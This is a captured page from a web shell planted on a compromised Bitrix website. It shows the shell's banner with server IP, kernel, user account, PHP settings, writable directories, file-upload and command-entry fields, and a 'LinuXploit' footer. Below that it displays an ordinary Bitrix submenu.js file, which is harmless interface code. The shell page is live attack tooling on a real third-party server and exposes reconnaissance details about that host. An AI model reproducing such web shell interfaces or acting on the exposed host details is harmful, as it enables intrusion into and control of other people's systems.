%PDF- %PDF- 403WebShell
403Webshell
Server IP : 37.220.80.31  /  Your IP : 18.227.183.131
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64
User : www-root ( 1010)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/www-root/data/www/dev.artlot24.ru/bitrix/components/bitrix/main.ui.grid/templates/.default/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/components/bitrix/main.ui.grid/templates/.default/js/submenu.js
;(function() {
	'use strict';

	BX.namespace('BX.Main');

	/**
	 * BX.Main.submenu
	 * @type {{data: Array, init: BX.Main.submenu.init, toggleMenu: BX.Main.submenu.toggleMenu, pushMenu: BX.Main.submenu.pushMenu, getMenu: BX.Main.submenu.getMenu, createMenu: BX.Main.submenu.createMenu}}
	 */
	BX.Main.submenu = {
		data: [],
		init: function(anchor, id, level, menuItems)
		{
			this.id = id;
			this.anchor = anchor;
			this.menuItems = menuItems;
			this.level = level;

			this.anchorRect = BX.pos(this.anchor);
			this.toggleMenu();
		},

		toggleMenu: function()
		{
			var currentLeft;
			var tempLeft;
			var tmpWindow;
			var current = this.anchor.menu;
			var currentWindow = current ? this.anchor.menu.popupWindow : null;

			if (current && currentWindow.isShown())
			{
				currentLeft = currentWindow.bindOptions.left;

				this.data.forEach(function(currentMenu) {
					tmpWindow = currentMenu.popupWindow;
					tempLeft = tmpWindow.bindOptions.left;

					if (currentLeft <= tempLeft)
					{
						currentMenu.popupWindow.close();
					}
				});
			}
			else
			{
				BX.PopupMenu.destroy(this.id);
				this.anchor.menu = this.createMenu();
				this.pushMenu(this.anchor.menu);
				this.anchor.menu.popupWindow.adjustPosition(BX.pos(this.anchor));
				this.anchor.menu.popupWindow.show();

				current = this.anchor.menu;
				currentWindow = current.popupWindow;
				currentLeft = currentWindow.bindOptions.left;

				this.data.forEach(function(currentMenu) {
					tmpWindow = currentMenu.popupWindow;
					tempLeft = tmpWindow.bindOptions.left;

					if (currentLeft <= tempLeft && current.id !== currentMenu.id)
					{
						currentMenu.popupWindow.close();
					}
				});
			}
		},

		pushMenu: function(menu)
		{
			var index = this.getMenu(menu);
			if (menu)
			{
				if (index === null)
				{
					this.data.push(menu);
				}
				else
				{
					this.data[index] = menu;
				}
			}
		},

		getMenu: function(menu)
		{
			var index = null;

			this.data.forEach(function(current, key) {
				if (current.id === menu.id)
				{
					index = key;
					return false;
				}
			});

			return index;
		},

		createMenu: function()
		{
			return BX.PopupMenu.create(
				this.id,
				this.anchor,
				this.menuItems,
				{
					'autoHide': true,
					'offsetTop': -((this.anchorRect.height / 2) + 26),
					'offsetLeft': this.anchorRect.width + 4,
					'angle': {
						'position': 'left',
						'offset': ((this.anchorRect.height / 2) - 8)
					}
				}
			);
		}
	};
})();

Youez - 2016 - github.com/yon3zu
LinuXploit